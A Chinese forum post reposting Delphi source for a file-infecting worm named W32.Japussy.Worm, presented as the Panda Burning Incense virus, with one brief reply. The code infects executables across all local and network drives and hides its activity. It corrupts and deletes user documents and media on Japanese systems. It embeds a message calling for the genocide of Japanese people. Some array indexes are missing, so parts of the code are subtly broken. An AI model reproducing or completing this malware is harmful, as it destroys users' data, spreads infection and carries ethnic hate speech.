熊猫烧香源代码(转)

frunyise 发表于 2007-2-17 08:59:15

开源者不朽，只可惜不是真的，但是提供了一个思路，很不错的思路 program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432;         //病毒体的大小 IconOffset = $12EB8;       //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912;         //Upx压缩过病毒体的大小 IconOffset = $92BC;         //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize   = $2E8;         //PE文件主图标的大小--744字节 IconTail   = IconOffset + IconSize; //PE文件主图标的尾部 ID     = $44444444;       //感染标记 //我非常爱你码，以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' +     'If a country need to be destroyed, it must be Japan! ' +     '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明 var Tmpfile&#58 string; Si:   STARTUPINFO; Pi:   PROCESS_INFORMATION; IsJap:   Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; { 在流之间复制 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; { 将宿主文件从已感染的PE文件中分离出来，以备使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try   dStream := TFileStream.Create(FileName, fmCreate);   try   sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分   dStream.CopyFrom(sStream, sStream.Size - HeaderSize);   finally   dStream.Free;   end; finally   sStream.Free; end; except end; end; { 填充STARTUPINFO结构 } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end; { 发带毒邮件 } procedure SendMail; begin //哪位仁兄愿意完成之？汤姆感激不尽！ end; { 感染PE文件 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array of Char; begin try //出错则文件正在被使用，退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染   Exit; Infected := False; IsPE   := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try   for i := 0 to $108 do //检查PE文件头   begin   SrcStream.Seek(i, soFromBeginning);   SrcStream.Read(Buf, 2);   if (Buf = #80) and (Buf = #69) then //PE标记   begin     IsPE := True; //是PE文件     Break;   end;   end;   SrcStream.Seek(-4, soFromEnd); //检查感染标记   SrcStream.Read(iID, 4);   if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染   Infected := True; finally   SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出   Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try   aIcon := TIcon.Create;   try   //得到被感染文件的主图标(744字节)，存入流   aIcon.ReleaseHandle;   aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);   aIcon.SaveToStream(IcoStream);   finally   aIcon.Free;   end;   SrcStream := TFileStream.Create(FileName, fmOpenRead);   //头文件   HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);   try   //写入病毒体主图标之前的数据   CopyStream(HdrStream, 0, DstStream, 0, IconOffset);   //写入目前程序的主图标   CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);   //写入病毒体主图标到病毒体尾部之间的数据   CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);   //写入宿主程序   CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);   //写入已感染的标记   DstStream.Seek(0, 2);   iID := $44444444;   DstStream.Write(iID, 4);   finally   HdrStream.Free;   end; finally   SrcStream.Free;   IcoStream.Free;   DstStream.SaveToFile(FileName); //替换宿主文件   DstStream.Free; end; except; end; end; { 将目标文件写入我非常爱你码后删除 } procedure SmashFile(FileName: string); var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try   Size := GetFileSize(FileHandle, nil); //文件大小   i := 0;   Randomize;   Max := Random(15); //写入我非常爱你码的随机次数   if Max < 5 then   Max := 5;   Mass := Size div Max; //每个间隔块的大小   Len := Length(Catchword);   while i < Max do   begin   FileSeek(FileHandle, i * Mass, 0); //定位   //写入我非常爱你码，将文件彻底破坏掉   FileWrite(FileHandle, Catchword, Len);   Inc(i);   end; finally   FileClose(FileHandle); //关闭文件 end; DeleteFile(PChar(FileName)); //删除之 except end; end; { 获得可写的驱动器列表 } function GetDrives: string; var DiskType: Word; D: Char; Str: string; i: Integer; begin for i := 0 to 25 do //遍历26个字母 begin D := Chr(i + 65); Str := D + ':\'; DiskType := GetDriveType(PChar(Str)); //得到本地磁盘和网络盘 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then   Result := Result + D; end; end; { 遍历目录，感染和摧毁文件 } procedure LoopFiles(Path, Mask: string); var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and   (SearchRec.Name <> '..') then   Result := 0 //不是目录 else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and   (SearchRec.Name <> '..') then   Result := 1 //不是根目录 else Result := 2; //是根目录 end; begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat   PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑   if IsValidDir(SearchRec) = 0 then   begin   Fn := Path + SearchRec.Name;   Ext := UpperCase(ExtractFileExt(Fn));   if (Ext = '.EXE') or (Ext = '.SCR') then   begin     InfectOneFile(Fn); //感染可执行文件     end   else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then   begin     //感染HTML和ASP文件，将Base64编码后的病毒写入     //感染浏览此网页的所有用户，这个是我最喜欢的！     //哪位大兄弟愿意完成之？汤姆感激不尽！   end   else if Ext = '.WAB' then //Outlook地址簿文件   begin     //获取Outlook邮件地址   end   else if Ext = '.ADC' then //Foxmail地址自动完成文件   begin     //获取Foxmail邮件地址   end   else if Ext = 'IND' then //Foxmail地址簿文件   begin     //获取Foxmail邮件地址   end   else   begin     if IsJap then //是倭文操作系统     begin     if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or     (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or     (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or     (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or     (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or     (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then       SmashFile(Fn); //摧毁文件     end;   end;   end;   //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑   Sleep(200); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then begin repeat   if IsValidDir(SearchRec) = 1 then   SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do LoopFiles(Path + SubDir.Strings + '\', Mask); FreeAndNil(SubDir); end; { 遍历磁盘上所有的文件 } procedure InfectFiles; var DriverList: string; i, Len: Integer; begin if GetACP = 932 then //日文操作系统 IsJap := True; //去死吧！ DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin for i := Len downto 1 do //遍历每个磁盘驱动器   LoopFiles(DriverList + ':\', '*.*'); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟 end; end; { 主程序开始 } begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之？汤姆感激不尽！ end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了，开始工作 begin TmpFile := ParamStr(0); //创建临时文件 Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,   0, nil, '.', Si, Pi); //创建新进程运行之 InfectFiles; //感染和发邮件 end; end.

名字不便透露 发表于 2006-5-20 00:06:53

re:熊猫烧香源代码(转)

实在看不懂啊

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熊猫烧香源代码(转)

re:熊猫烧香源代码(转)